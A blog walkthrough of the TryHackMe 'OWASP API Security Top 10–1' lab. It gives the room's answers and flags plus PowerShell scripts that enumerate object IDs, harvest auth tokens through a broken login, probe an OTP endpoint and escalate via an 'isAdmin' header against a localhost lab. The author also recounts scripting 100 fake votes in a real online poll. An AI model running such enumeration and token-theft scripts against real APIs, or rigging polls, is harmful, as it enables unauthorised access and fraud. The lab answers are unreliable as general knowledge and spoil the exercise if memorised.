OWASP API Security Top 10–1 TryHackMe Walkthrough

Rich
6 min readFeb 23, 2024

TL;DR Walkthrough of the TryHackMe room OWASP API Security Top 10–1.

A full list of our TryHackMe walkthroughs and cheatsheets is here.

Background

I am an unashamed Windows Guy. I am mediocre at best at webapps. Honestly the only reason that I am even middling in that arena is thanks to TryHackMe and eJPT.

I started on this room because my current college class is going over the SDLC … and is quite frankly boring the living daylights out of me in the process. I had to memorize some terms related to SDLC for CISSP or GSLC years ago. I find the material incredibly tedious and uninteresting though, just a small step above project management material. Hence some hands on learning is always a bonus.

I wouldn’t have bothered creating a walkthrough of this room except that I went a different way than TryHackMe suggested and used PowerShell and Invoke-WebRequest to complete the tasks. I had screwed around with Invoke-WebRequest a bit before. Someone had asked us to vote for their kid’s teacher for ‘Teacher of the Month’, so I fired up Burp Suite, copy/pasted the POST parameter, and asked CW6 Google how to send a POST with PowerShell. Once I made sure it worked for 1 or 2 votes I shot the guy a function that’d cast 100 votes if he felt like running it. (The sleep timer for a random time in between iterations of the loop came from that project.)

This room got me to dig that little project out of the Google Drive, dust it off, tweak the code, and figure out how to send GET parameters as well.

I will show the questions and answers for each section first and then the PowerShell I used to get the answers. I am sure someone who’s smarter than me could have whipped this up quicker in Python on Linux, but I’m a Windows Guy.

— — Task 1 — -

xfreerdp /v:10.10.165.252 /u:Administrator /p:Owasp@123

— — Task 2 — -

In the LinkedIn breach (Jun 2021), how many million records (sample) were posted by a hacker on the dark web?

1

Is the API documentation a trivial item and not used after API development (yea/nay)?

Nay

I understand the APIs and am ready to learn OWASP Top 10 Principles.

No answer needed

— — Task 3 — -

Suppose the employee ID is an integer with incrementing value. Can you check through the vulnerable API endpoint the total number of employees in the company?

3

What is the flag associated with employee ID 2?

THM{838123}

What is the username of employee ID 3?

Bob

$x = 0
$z = 9
Do
{
$Result = Invoke-WebRequest -Uri "http://localhost:80/MHT/apirule1_v/user/$x" -Method Get
If($Result.Content -ne "$null")
{
Write-Host "User # $x exists."
$Result.RawContent
Write-Host " "
}
$RandomNumber = Get-Random -Maximum 60 -Minimum 10
#Start-Sleep -Seconds $RandomNumber
$x = $x + 1
}
While($x -le $z)

— — Task 4 — -

Can you find the token of hr@mht.com?

cOC%Aonyis%H)mZ&uJkuI?_W#4&m>Y

To which country does sales@mht.com belong?

China

Is it a good practice to send a username and password in a GET request (yea/nay)?

Nay

This might have been the best section of this room. I had to capture the output of a POST request, parse the data, and then pipe a portion of that data into a GET request.

This is a simple example of the results from an Invoke-WebRequest. The result itself is an object, so we can query $Result.Content for example. The problem is that the attribute itself is a string, and we need to capture a portion of that string in a variable for use later.

Hence I used split and some trial & error. It’s a duct tape type solution, but it worked. I am sure there is a better, more refined way to do this that I’ll have to learn later. If anyone reading this knows then feel free to leave pointers in the comments.

$Users = Get-Content "C:\Users\Administrator\Desktop\Users.txt"
ForEach($User in $Users)
{
$postParams = @{email="$user@mht.com";password="LiterallyAnything"}
$Result = Invoke-WebRequest -Uri "http://localhost:80/MHT/apirule2/user/login_v" -Method Post -Body $postParams

If($Result.Content -ne "$null")
{
Write-Host " - - Requesting $User … - -"
Write-Host " "
$Result.RawContent
Write-Host " "

Write-Host "These are the results we get after passing their token to /apirule2/user/details"
Write-Host " "
$Token = ($Result.Content).Split('"')[7]
$GetParams = @{"Authorization-Token"="$Token"}
$Result2 = Invoke-WebRequest -Uri "http://localhost:80/MHT/apirule2/user/details" -Method Get -Headers $GetParams
$Result2.Content
Write-Host " "
}
}

— — Task 5 — -

What is the device ID value for post-ID 2?

iOS15.411

What is the username value for post-ID 3?

hacker#!

Should we use network-level devices for controlling excessive data exposure instead of managing it through APIs (programmatically) — (yea/nay)?

Nay

$x = 0
$z = 9
Do
{
$Result = Invoke-WebRequest -Uri "http://localhost:80/MHT/apirule3/comment_v/$x" -Method Get
If($Result.Content -ne "$null")
{
Write-Host "User # $x exists."
$Result.Content
Write-Host " "
}
$RandomNumber = Get-Random -Maximum 60 -Minimum 10
#Start-Sleep -Seconds $RandomNumber
$x = $x + 1
}
While($x -le $z)

— — Task 6 — -

Can rate limiting be carried out at the network level through firewall etc. (yea/nay)?

Yea

What is the HTTP response code when you send a POST request to /apirule4/sendOTP_s using the email address hr@mht.com?

200

What is the “msg key” value after an HTTP POST request to /apirule4/sendOTP_s using the email address sale@mht.com?

Invalid Email

$Users = Get-Content "C:\Users\Administrator\Desktop\Users.txt"
ForEach($User in $Users)
{
$postParams = @{email="$user@mht.com"}
$Result = Invoke-WebRequest -Uri "http://localhost:80/MHT/apirule4/sendOTP_s" -Method Post -Body $postParams
If($Result.Content -ne "$null")
{
Write-Host " - - Requesting $User … - -"
Write-Host " "
$Result.StatusCode
$Result.Content
Write-Host " "
}
}

— — Task 7 — -

What is the mobile number for the username Alice?

1235322323

Is it a good practice to send isAdmin value through the hidden fields in form requests — yea/nay?

Nay

What is the address flag of username admin?

THM{3432$@#2!}

This one was actually quite straightforward. THM gave us the token value and let us know to set ‘isAdmin = 1’.

$Token = "YWxpY2U6dGVzdCFAISM6Nzg5Nzg="
$GetParams = @{"Authorization-Token"="$Token";"isAdmin"="1"}
$Result = Invoke-WebRequest -Uri "http://localhost:80/MHT/apirule5/users_v" -Method Get -Headers $GetParams
$Result.Content

— — Task 8 — -

No answer needed

Summary

This was another good room on THM. I learned how to pass multiple parameters via POST and GET requests. I also got some data parsing practice in, which is never a bad thing.

JMHO, but PowerShell is more about knowing what you’re trying to work with than it is about knowing PowerShell itself. I learned just enough about POST and GET requests to klutz my way through this room.

References

Invoke-WebRequest POST with parameters: https://stackoverflow.com/questions/17325293/invoke-webrequest-post-with-parameters

Invoke-WebRequest: https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/invoke-webrequest?view=powershell-7.4

Split a string into an array: https://www.sqlshack.com/powershell-split-a-string-into-an-array/

--

--

Rich

I work various IT jobs & like Windows domain security as a hobby. Most of what’s here is my notes from auditing or the lab.